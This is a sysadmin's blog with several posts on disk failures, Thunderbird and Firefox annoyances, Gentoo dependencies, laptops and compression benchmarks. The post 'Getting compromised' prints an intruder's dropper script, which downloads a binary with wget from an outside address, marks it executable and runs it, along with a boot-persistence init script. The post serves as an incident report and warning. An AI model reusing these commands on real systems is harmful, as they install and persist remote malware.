Wed Apr 29 05:03:41 CEST 2015

Code Hygiene

Some convenient Makefile targets that make it very easy to keep code clean:
scan:
        scan-build clang foo.c -o foo

indent:
        indent -linux *.c
scan-build is llvm/clang's static analyzer and generates some decent warnings. Using clang to build (in addition to 'default' gcc in my case) helps diversity and sometimes catches different errors.

indent makes code pretty, the 'linux' default settings are not exactly what I want, but close enough that I don't care to finetune yet.

Every commit should be properly indented and not cause more warnings to appear!

Posted by Patrick | Permalink

Sat Apr 11 13:06:54 CEST 2015

Almost quiet dataloss

Some harddisk manufacturers have interesting ideas ... using some old Samsung disks in a RAID5 config:
[15343.451517] ata3.00: exception Emask 0x0 SAct 0x40008410 SErr 0x0 action 0x6 frozen
[15343.451522] ata3.00: failed command: WRITE FPDMA QUEUED
[15343.451527] ata3.00: cmd 61/20:20:d8:7d:6c/01:00:07:00:00/40 tag 4 ncq 147456 out
                        res 40/00:00:00:4f:c2/00:00:00:00:00/00 Emask 0x4 (timeout)                                                                                                                                                                                            
[15343.451530] ata3.00: status: { DRDY }
[15343.451532] ata3.00: failed command: WRITE FPDMA QUEUED
[15343.451536] ata3.00: cmd 61/30:50:d0:2f:40/00:00:0d:00:00/40 tag 10 ncq 24576 out
                        res 40/00:ff:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout)                                                                                                                                                                                            
[15343.451538] ata3.00: status: { DRDY }
[15343.451540] ata3.00: failed command: WRITE FPDMA QUEUED
[15343.451544] ata3.00: cmd 61/a8:78:90:be:da/00:00:0b:00:00/40 tag 15 ncq 86016 out
                        res 40/00:ff:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout)                                                                                                                                                                                            
[15343.451546] ata3.00: status: { DRDY }
[15343.451549] ata3.00: failed command: READ FPDMA QUEUED
[15343.451552] ata3.00: cmd 60/38:f0:c0:2b:d6/00:00:0e:00:00/40 tag 30 ncq 28672 in
                        res 40/00:00:00:4f:c2/00:00:00:00:00/00 Emask 0x4 (timeout)                                                                                                                                                                                            
[15343.451555] ata3.00: status: { DRDY }
[15343.451557] ata3: hard resetting link
[15343.911891] ata3: SATA link up 3.0 Gbps (SStatus 123 SControl 300)
[15344.062112] ata3.00: configured for UDMA/133
[15344.062130] ata3.00: device reported invalid CHS sector 0
[15344.062139] ata3.00: device reported invalid CHS sector 0
[15344.062146] ata3.00: device reported invalid CHS sector 0
[15344.062153] ata3.00: device reported invalid CHS sector 0
[15344.062169] ata3: EH complete
Hmm, that doesn't look too good ... but mdadm still believes the RAID is functional.

And a while later things like this happen:
[ 2968.701999] XFS (md4): Metadata corruption detected at xfs_dir3_data_read_verify+0x72/0x77 [xfs], block 0x36900a0
[ 2968.702004] XFS (md4): Unmount and run xfs_repair
[ 2968.702007] XFS (md4): First 64 bytes of corrupted metadata buffer:
[ 2968.702011] ffff8802ab5cf000: 04 00 00 00 99 00 00 00 fc ff ff ff ff ff ff ff  ................
[ 2968.702015] ffff8802ab5cf010: 03 00 00 00 00 00 00 00 02 00 00 00 9e 00 00 00  ................
[ 2968.702018] ffff8802ab5cf020: 0c 00 00 00 00 00 00 00 13 00 00 00 00 00 00 00  ................
[ 2968.702021] ffff8802ab5cf030: 04 00 00 00 82 00 00 00 fc ff ff ff ff ff ff ff  ................
[ 2968.702048] XFS (md4): metadata I/O error: block 0x36900a0 ("xfs_trans_read_buf_map") error 117 numblks 8
[ 2968.702476] XFS (md4): Metadata corruption detected at xfs_dir3_data_reada_verify+0x69/0x6d [xfs], block 0x36900a0
[ 2968.702491] XFS (md4): Unmount and run xfs_repair
[ 2968.702494] XFS (md4): First 64 bytes of corrupted metadata buffer:
[ 2968.702498] ffff8802ab5cf000: 04 00 00 00 99 00 00 00 fc ff ff ff ff ff ff ff  ................
[ 2968.702501] ffff8802ab5cf010: 03 00 00 00 00 00 00 00 02 00 00 00 9e 00 00 00  ................
[ 2968.702505] ffff8802ab5cf020: 0c 00 00 00 00 00 00 00 13 00 00 00 00 00 00 00  ................
[ 2968.702508] ffff8802ab5cf030: 04 00 00 00 82 00 00 00 fc ff ff ff ff ff ff ff  ................
[ 2968.702825] XFS (md4): Metadata corruption detected at xfs_dir3_data_read_verify+0x72/0x77 [xfs], block 0x36900a0
[ 2968.702831] XFS (md4): Unmount and run xfs_repair
[ 2968.702834] XFS (md4): First 64 bytes of corrupted metadata buffer:
[ 2968.702839] ffff8802ab5cf000: 04 00 00 00 99 00 00 00 fc ff ff ff ff ff ff ff  ................
[ 2968.702842] ffff8802ab5cf010: 03 00 00 00 00 00 00 00 02 00 00 00 9e 00 00 00  ................
[ 2968.702866] ffff8802ab5cf020: 0c 00 00 00 00 00 00 00 13 00 00 00 00 00 00 00  ................
[ 2968.702871] ffff8802ab5cf030: 04 00 00 00 82 00 00 00 fc ff ff ff ff ff ff ff  ................
[ 2968.702888] XFS (md4): metadata I/O error: block 0x36900a0 ("xfs_trans_read_buf_map") error 117 numblks 8
fsck finds quite a lot of data not being where it should be.
I'm not sure who to blame here - the kernel should actively punch out any harddisk that is fish-on-land flopping around like that, the md layer should hate on any device that even looks weirdly, but somehow "just doing a link reset" is considered enough.

I'm not really upset that an old cheap disk that is now ~9 years old decides to have dementia, but I'm quite unhappy with the firmware programming that doesn't seem to consider data loss as a problem ... (but at least it's not Seagate!)

Posted by Patrick | Permalink

Wed Mar 18 03:35:39 CET 2015

Upgrading ThunderBird

With the recent update from the LongTimeSuffering / ExtendedSufferingRelease of Thunderbird from 24 to 31 we encountered some serious badness.

The best description of the symptoms would be "IMAP doesn't work at all"
On some machines the existing accounts would be disappeared, on others they would just be inert and never receive updates.

After some digging I was finally able to find the cause of this:
Too old config file.

Uhm ... what? Well - some of these accounts have been around since TB2. Some newer ones were enhanced by copying the prefs.js from existing accounts. And so there's a weird TB bugreport that is mostly triggered by some bits being rewritten around Firefox 30, and the config parser screwing up with translating 'old' into 'new', and ... effectively ... IMAP being not-whitelisted, thus by default blacklisted, and hilarity happens.

Should you encounter this bug you "just" need to revert to a prefs.js from before the update (sigh) and then remove all lines involving "capability.policy".
Then update and ... things work. Whew.

Why not just remove profile and start with a clean one you say? Well ... for one TB gets brutally unusably slow if you have emails. So just re-reading the mailbox content from a local fast IMAP server will take ~8h and TB will not respond to user input during that time.
And then you manually have to go into eeeevery single subfolder so that TB remembers it is there and actually updates it. That's about one work-day per user lost to idiocy, so sed'ing the config file into compliance is the easy way out.
Thank you, Mozilla, for keeping our lives exciting!

Posted by Patrick | Permalink

Mon Feb 2 03:33:51 CET 2015

Mozilla: Hating you so you don't have to

Ahem. I'm mildly amused, Firefox 35 shows me this nice little informational message in the "Get addons" view:
Secure Connection Failed

An error occurred during a connection to services.addons.mozilla.org. 
Peer's Certificate has been revoked. (Error code: sec_error_revoked_certificate) 
Oh well. Why I was looking at that anyway? Well, for some reasons I've had adb (android thingy) running on my desktop. Which makes little sense ... but ... find tells me:
./.mozilla/firefox/badrandomvalue.default/extensions/adbhelper@mozilla.org/linux64/adb
So now there's a random service running *when I start firefox* because ...


err, I might want to " test, deploy and debug HTML5 web apps on Firefox OS phones & Simulator, directly from Firefox browser. "
Which I don't. But I appreciate having extra crap default-enabled for no reason. Sigh.

Mozilla: We hate you so you don't have to

Posted by Patrick | Permalink

Wed Jan 28 06:26:16 CET 2015

CGit

Dirty hack of the day:

A CGit Mirror of git.overlays.gentoo.org

I wonder if the update cronjob actually works ...

Posted by Patrick | Permalink

Fri Jan 23 04:41:33 CET 2015

A story of Dependencies

Yesterday I wanted to update a build chroot I have. And ... strangely ... there was a pile of new dependencies:
# emerge -upNDv world

These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild     U  ] sys-devel/patch-2.7.2 [2.7.1-r3] USE="-static {-test} -xattr" 0 KiB
[ebuild     U  ] sys-devel/automake-wrapper-10 [9] 0 KiB
[ebuild  N     ] dev-libs/lzo-2.08-r1:2  USE="-examples -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/dejavu-2.34  USE="-X -fontforge" 0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-common-1.42.0  0 KiB
[ebuild  N     ] media-libs/libpng-1.6.16:0/16  USE="-apng (-neon) -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/vala-common-0.26.1  0 KiB
[ebuild     U  ] dev-libs/libltdl-2.4.5 [2.4.4] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] virtual/ttf-fonts-1  0 KiB
[ebuild  N     ] x11-themes/hicolor-icon-theme-0.14  0 KiB
[ebuild  N     ] dev-perl/XML-NamespaceSupport-1.110.0-r1  0 KiB
[ebuild  N     ] dev-perl/XML-SAX-Base-1.80.0-r1  0 KiB
[ebuild  N     ] virtual/perl-Storable-2.490.0  0 KiB
[ebuild     U  ] sys-libs/readline-6.3_p8-r2 [6.3_p8-r1] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild     U  ] app-shells/bash-4.3_p33-r1 [4.3_p33] USE="net nls (readline) -afs -bashlogger -examples -mem-scramble -plugins -vanilla" 0 KiB
[ebuild  N     ] media-libs/freetype-2.5.5:2  USE="adobe-cff bzip2 -X -auto-hinter -bindist -debug -doc -fontforge -harfbuzz -infinality -png -static-libs -utils" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-SAX-0.990.0-r1  0 KiB
[ebuild  N     ] dev-libs/libcroco-0.6.8-r1:0.6  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-LibXML-2.1.400-r1  USE="{-test}" 0 KiB
[ebuild  N     ] dev-perl/XML-Simple-2.200.0-r1  0 KiB
[ebuild  N     ] x11-misc/icon-naming-utils-0.8.90  0 KiB
[ebuild  NS    ] sys-devel/automake-1.15:1.15 [1.13.4:1.13, 1.14.1:1.14] 0 KiB
[ebuild     U  ] sys-devel/libtool-2.4.5:2 [2.4.4:2] USE="-vanilla" 0 KiB
[ebuild  N     ] x11-proto/xproto-7.0.26  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xextproto-7.3.0  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/inputproto-2.3.1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/damageproto-1.2.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/xtrans-1.3.5  USE="-doc" 0 KiB
[ebuild  N     ] x11-proto/renderproto-0.11.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/font-util-1.3.0  0 KiB
[ebuild  N     ] x11-misc/util-macros-1.19.0  0 KiB
[ebuild  N     ] x11-proto/compositeproto-0.4.2-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/recordproto-1.14.2-r1  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libICE-1.0.9  USE="ipv6 -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libSM-1.2.2-r1  USE="ipv6 uuid -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/fixesproto-5.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/randrproto-1.4.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/kbproto-1.0.6-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xf86bigfontproto-1.2.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXau-1.0.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdmcp-1.1.1-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/libpthread-stubs-0.3-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pixman-0.32.6  USE="sse2 (-altivec) (-iwmmxt) (-loongson2f) -mmxext (-neon) -ssse3 -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  NS    ] app-text/docbook-xml-dtd-4.4-r2:4.4 [4.1.2-r6:4.1.2, 4.2-r2:4.2, 4.5-r1:4.5] 0 KiB
[ebuild  N     ] app-text/xmlto-0.0.26  USE="-latex" 0 KiB
[ebuild  N     ] sys-apps/dbus-1.8.12  USE="-X -debug -doc (-selinux) -static-libs -systemd {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] net-misc/curl-7.40.0  USE="ipv6 ssl -adns -idn -kerberos -ldap -metalink -rtmp -samba -ssh -static-libs {-test} -threads" ABI_X86="(64) -32 (-x32)" CURL_SSL="openssl -axtls -gnutls -nss -polarssl (-winssl)" 0 KiB
[ebuild  N     ] app-arch/libarchive-3.1.2-r1:0/13  USE="acl bzip2 e2fsprogs iconv lzma zlib -expat -lzo -nettle -static-libs -xattr" 0 KiB
[ebuild  N     ] dev-util/cmake-3.1.0  USE="ncurses -doc -emacs -qt4 (-qt5) {-test}" 0 KiB
[ebuild  N     ] media-gfx/graphite2-1.2.4-r1  USE="-perl {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/fontconfig-2.11.1-r2:1.0  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-admin/eselect-fontconfig-1.1  0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-1.42.0  USE="-cairo -doctool {-test}" PYTHON_TARGETS="python2_7" 0 KiB
[ebuild  N     ] dev-libs/atk-2.14.0  USE="introspection nls {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-util/gdbus-codegen-2.42.1  PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-proto/xcb-proto-1.11  ABI_X86="(64) -32 (-x32)" PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-libs/libxcb-1.11-r1:0/1.11  USE="-doc (-selinux) -static-libs -xkb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libX11-1.6.2  USE="ipv6 -doc -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXext-1.3.3  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXfixes-5.0.1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrender-0.9.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/cairo-1.12.18  USE="X glib svg (-aqua) -debug (-directfb) (-drm) (-gallium) (-gles2) -opengl -openvg (-qt4) -static-libs -valgrind -xcb -xlib-xcb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXi-1.7.4  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gdk-pixbuf-2.30.8:2  USE="X introspection -debug -jpeg -jpeg2k {-test} -tiff" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcursor-1.1.14  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdamage-1.1.4-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrandr-1.4.2  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcomposite-0.4.4-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXtst-1.2.2  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-core-2.14.1:2  USE="X introspection" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-atk-2.14.1:2  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/harfbuzz-0.9.37:0/0.9.18  USE="cairo glib graphite introspection truetype -icu -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pango-1.36.8  USE="introspection -X -debug" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gtk+-2.24.25-r1:2  USE="introspection (-aqua) -cups -debug -examples {-test} -vim-syntax -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/librsvg-2.40.6:2  USE="introspection -tools -vala" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-themes/adwaita-icon-theme-3.14.1  USE="-branding" 0 KiB
[ebuild  N     ] x11-libs/gtk+-3.14.6:3  USE="X introspection (-aqua) -cloudprint -colord -cups -debug -examples {-test} -vim-syntax -wayland -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/dconf-0.22.0  USE="X {-test}" 0 KiB

Total: 78 packages (6 upgrades, 70 new, 2 in new slots), Size of downloads: 0 KiB

The following USE changes are necessary to proceed:
 (see "package.use" in the portage(5) man page for more details)
# required by x11-libs/gtk+-2.24.25-r1
# required by x11-libs/gtk+-3.14.6
# required by gnome-base/dconf-0.22.0[X]
# required by dev-libs/glib-2.42.1
# required by media-libs/harfbuzz-0.9.37[glib]
# required by x11-libs/pango-1.36.8
# required by gnome-base/librsvg-2.40.6
# required by x11-themes/adwaita-icon-theme-3.14.1
=x11-libs/cairo-1.12.18 X
BOOM. That's heavy. There's gtk2, gtk3, most of X ... and things want to enable USE="X" ... what's going on ?!

After some experimenting with selective masking and tracing dependencies I figured out that it's dev-libs/glib that pulls in "everything". Eh?
ChangeLog says:
  21 Jan 2015; Pacho Ramos  -files/glib-2.12.12-fbsd.patch,
  -files/glib-2.36.4-znodelete.patch,
  -files/glib-2.37.x-external-gdbus-codegen.patch,
  -files/glib-2.38.2-configure.patch, -files/glib-2.38.2-sigaction.patch,
  -glib-2.38.2-r1.ebuild, -glib-2.40.0-r1.ebuild, glib-2.42.1.ebuild:
  Ensure dconf is present (#498436, #498474#c6), drop old
So now glib depends on dconf (which is actually not correct, but fixes some bugs for gtk desktop apps). dconf has USE="+X" in the ebuild, so it overrides profile settings, and pulls in the rest.
USE="-X" still pulls in dbus unconditionally, and ... dconf is needed by glib, and glib is needed by pkgconfig, so that would be mildly upsetting as every user would now have dconf and dbus installed. (Unless, of course, we switched pkgconfig to USE="internal-glib")

After a good long discussion on IRC with some good comments on the bugreport we figured out a solution that should work for all:
dconf ebuild is fixed to not set default useflags. So only desktop profiles or USE="X" set by users will pull in X-related dependencies. glib gets a dbus useflag, which is default-enabled on desktop profiles, so there the dependency chain works as desired. And for the no-desktop no-X usecase we have no extra dependencies, and no reason to be grumpy.

This situation shows quite well how unintended side-effects may happen. The situation looked good for everyone on a desktop profile (and dconf is small enough to be tolerated as dependency). But on not-desktop profiles, suddenly, we're looking at a pile of 'wrong' dependencies, accidentally forced on everyone. Oops :)

In the end, all is well, and I'm still confused why writing a config file needs dbus and xml and stuff. But I guess that's called progress ...

Posted by Patrick | Permalink

Wed Jan 21 11:16:59 CET 2015

Demo Operating Systems on new hardware

Recently I got to interact with two Lenovo notebooks - an E445 with Ubuntu Demo preinstalled, and an E431 with Win8 Demo preinstalled.
Why do I say demo? Because these were completely unusable. Let me explain ...

The E445 is a very simple notebook - 14" crap display, slowest AMD APU they could find, 4GB RAM (3 usable due to graphics card stealing the rest). Slowest harddisk ever ;)
The E431 is pretty much the same form factor, but the slowest Intel CPU (random i3) and also 4GB RAM and a crap display.

On powerup the E445 spent about half an hour "initialising" and kinda installing whatever. Weird because you could do that before and deliver an instant-on disk image, but this whole thing hasn't been thought out.
The Ubuntu version it comes with (12.04 LTS I think?) is so old that the graphics drivers can't drive the display at native resolution out of the box. So your display will be a fuzzy 1024x768 upscaled to 1366x768. I consider this a demo because there's some obvious bugs - the black background glows purple, there's random output from init scripts bleeding over the bootsplash. And then once you login there's this ... hmm. Looks like a blend of MovieOS and a touchscreen UI and goes by the name of Unity. The whole mix is pretty much unusable, mostly because basic things like screen resolution are broken in ways that are not easy to fix.

The other device came with a Win8 demo. Out of the box it takes about 5 minutes to start, and then every app takes 30-60 seconds to start. It's brutally slow.
After boot about 2.5GB RAM are in use, so pretty much any action can trigger swapping. It's brutally slow. Oh wait, I already said that.
At some point it decided to update to 8.1, which took half an hour to download and about seven hours to install. WHAT TEH EFF!

The UI is ... MovieOS got drunk. A part is kinda touchscreen thingy, and the rest is even more confused. Localization is horribad (some parts are pictogram only, some part are text only - and since this is a chinese edition I wouldn't even know hot to reboot it! squiggly hat box squiggly bug ... or is it square squiggly star ? Oh my, this is just bad.
And I said demo, because shutdown doesn't. Looks like the hibernate and shutdown bugs are crosswired the wrong way?
There's random slowdowns doing basic tasks, even youtube video randomly stutters and glitches because the OS is still not ready for general use. And it's slow ... oh wait, I said that. So all in all, it's a nice showroom demo, but not useful.

Installing Gentoo was all in all pretty boring, with full KDE running the memory usage is near 500MB (compared to >2GB for the win demo). Video runs smoothly, audio works. Ethernet connection with r8169 works, WLAN with BCM43142 requires broadcom-sta aka. wl. Very very bad driver stupid, it'd be easier to not have this device built in.
Both the intel card in the E431 and the radeon in the E445 work well, although the HD 8550G needs the newest release of xf86-video-ati to work.

The E445 boots cleanly in BIOS mode, the E431 quietly fails (sigh) because SecureBoot (sigh!) unless you actively disable it. Also randomly the E431 tries to reset to factory defaults, or fails to boot with Fan Warning. Very shoddy, but usually smacking it with a hammer helps.

I'm a little bit sad that all new notebooks are so conservative with maximum amount of RAM, but on the upside the minimum is defined by Win8 Demo requirements. So most devices have 4GB RAM, which reminds me of 2008. Hmm.
Harddisks are getting slower and bigger - this seems to be mostly penny pinching. The harddisk in the R400 I had years ago was faster than the new ones!

And vendors should maybe either sell naked notebooks without an OS, or install something that is properly installed and preconfigured. And, maybe, a proper recovery DVD so that the OS can be reinstalled? Especially as both these notebooks come with a DVD drive. I have no opinion if it works because I lack media to test with, but it wastes space ...

(If you are a vendor, and want to have things tested or improved, feel free to send me free hardware and maybe consider compensating me for my time - it's not that hard to provide a good user experience, and it'll improve customer retention a lot!)

Posted by Patrick | Permalink

Wed Jan 21 10:16:17 CET 2015

Getting compromised

Recently I was asked to set up a new machine. It had been minimally installed, network started, and then ignored for a day or two.

As I logged in I noticed a weird file in /root: n8005.tar
And 'file' said it's a shellscript. Hmmm ....
#!/bin/sh
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
wget http://432.567.99.1/install/8005
chmod +x 8005
./8005


At this point my confidence in the machine had been ... compromised. "init 0" it is!
A reboot from a livecd later I was trying to figure out what the attacker was trying to do:
* An init script in /etc/init.d
#!/bin/sh
# chkconfig: 12345 90 90
# description: epnlmqmjph
### BEGIN INIT INFO
# Provides:             epnlmqmjph
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    epnlmqmjph
### END INIT INFO
case $1 in
start)
        /usr/bin/epnlmqmjph
        ;;
stop)
        ;;
*)
        /usr/bin/epnlmqmjph
        ;;
esac
* A file in /usr/bin
# file epnlmqmjph
epnlmqmjph: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

# md5sum epnlmqmjph
2cb5174e26c6782db94ea336696cfb7f  epnlmqmjph
* a file in /sbin I think - I didn't write down everything, just archived it for later analysis
# file bin_z 
bin_z: ERROR: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linkederror reading (Invalid argument)
# md5sum bin_z 
85c1c4a5ec7ce3efef5c5b20c5ded09c  bin_z
The only action I could do at this stage was wipe and reinstall, and so I did.
So this was quite educational, and a few minutes after reboot I saw a connection with putty as user agent in the ssh logs.
Sorry kid, not today ;)

There's a strong lesson in this: Do not use ssh passwords. Especially for root. A weak password can be accidentally bruteforced in a day or two!

sshd has an awesome feature: "PermitRootLogin without-password" if you rely on root login, at least avoid sucessful password logins!

And I wonder how much accidental security running not-32bit not-CentOS gives ;)

Posted by Patrick | Permalink

Thu Jan 1 11:59:27 CET 2015

Compression comparison

Random question of the day: How do different compression methods compare?
This fancy miserable graph is the result of a few minutes of scripting around. Red is time, Yellow is size.

Input file was stage3-amd64-20141204.tar.bz2, uncompressed 720MB (tar).
For every compression algorithm I went from compression levels -1 .. -9 and recorded both resulting size and time needed. Amusingly time in seconds and size in MB are in a similar dimension, so the graph fits quite nicely
(Bonus exercise: How much time does unpacking need?)
Edit: Just tested that. So - lz4 takes between 1 and 0.85 seconds to unpack to /dev/zero. Higher compression levels *go faster* - counterintuitive, but fun.
gzip shows the same behaviour with 5.7 .. 5.1 seconds.
bzip2 goes from 27 to 35 seconds, where higher compression levels take longer to unpack.
And xz takes 80 .. 57 seconds, going 'backwards' like lz4.
-End edit -

By far the fastest is lz4, doing over 200MB/s effective. The slowest is xz at around 2MB/s.
But lz4 also only shrinks it to about 50% of the input size, while xz gets it down to 18%. So there's some interesting tradeoffs to be found.

gzip -9 and bzip -1 are roughly comparable for this dataset.
But gzip gets silly slow, so gzip -6 seems to be the best time/space tradeoff.
lz4 also doesn't improve a lot at higher levels, just spends more time.

The clear winner for size is xz, but the compression time is very noticeably higher than the competition. Still, xz -1 is comparable to bzip2 -9 - that's quite amusing.

So, if you're CPU-limited lz4 is best, if you are bandwidth-limited xz is best, and in between there's a wide fuzzy area of tradeoffs.

Oh well, here's the raw data:
	level	time	size
lz4	1	3.4	326
	2	3.5	326
	3	3.5	326
	4	13.5	266
	5	16.3	263
	6	19.6	261
	7	22.8	260
	8	26.8	260
	9	30.6	260
			
gzip	1	15.4	260
	2	16.2	254
	3	20.1	248
	4	21	240
	5	27.8	234
	6	40.7	231
	7	50.3	230
	8	83.3	230
	9	126.6	229
			
bzip2	1	78	218
	2	77	211
	3	77	207
	4	79	204
	5	81	203
	6	80	201
	7	85	200
	8	87	199
	9	91	198
			
xz	1	77	184
	2	103	175
	3	144	167
	4	210	160
	5	276	150
	6	320	149
	7	328	136
	8	340	133
	9	354	132

Posted by Patrick | Permalink

Thu Dec 4 12:23:51 CET 2014

Shrinking stage3

Today I wanted to fetch a new stage3. And I had many disappoint: Sooo big. 200MB for a stage3?
So I started cutting things up and filed some bugs, and the results are nice:
Starting point: stage3-amd64-20141127
Original:   207758877 bytes / 199M
Shrinked-1: 165755734 bytes / 159M
Shrinked-2: 161092189 bytes / 154M
Shrinked-3: 112635928 bytes / 108M
Shrinked-4: 109833196 bytes / 105M
What changed?
First step: Remove two of three python implementations. I think having only python2 is enough for a start - that's a bit over 150MB unpacked just gone.
Changes needed: PYTHON_TARGETS and USE="-python3" during build

Second: Build pkgconfig with USE="internal-glib". This removes the dependency on glib and its mad ball of dependencies for another ~40MB on-disk.

Repacking that gives Shrinked-1
Then I noticed that Python installs tests unconditionally. This is not needed at runtime and barely needed at buildtime, for another 28MB saved. That's Shrinked-2.

Shrinked-3 is Shrinked-1 with xz instead of bzip2; Shrinked-4 is Shrinked-2 with xz instead of bzip2.

So there, within a few minutes I've halved the size of the tarball by pruning unneeded bits ...

Posted by Patrick | Permalink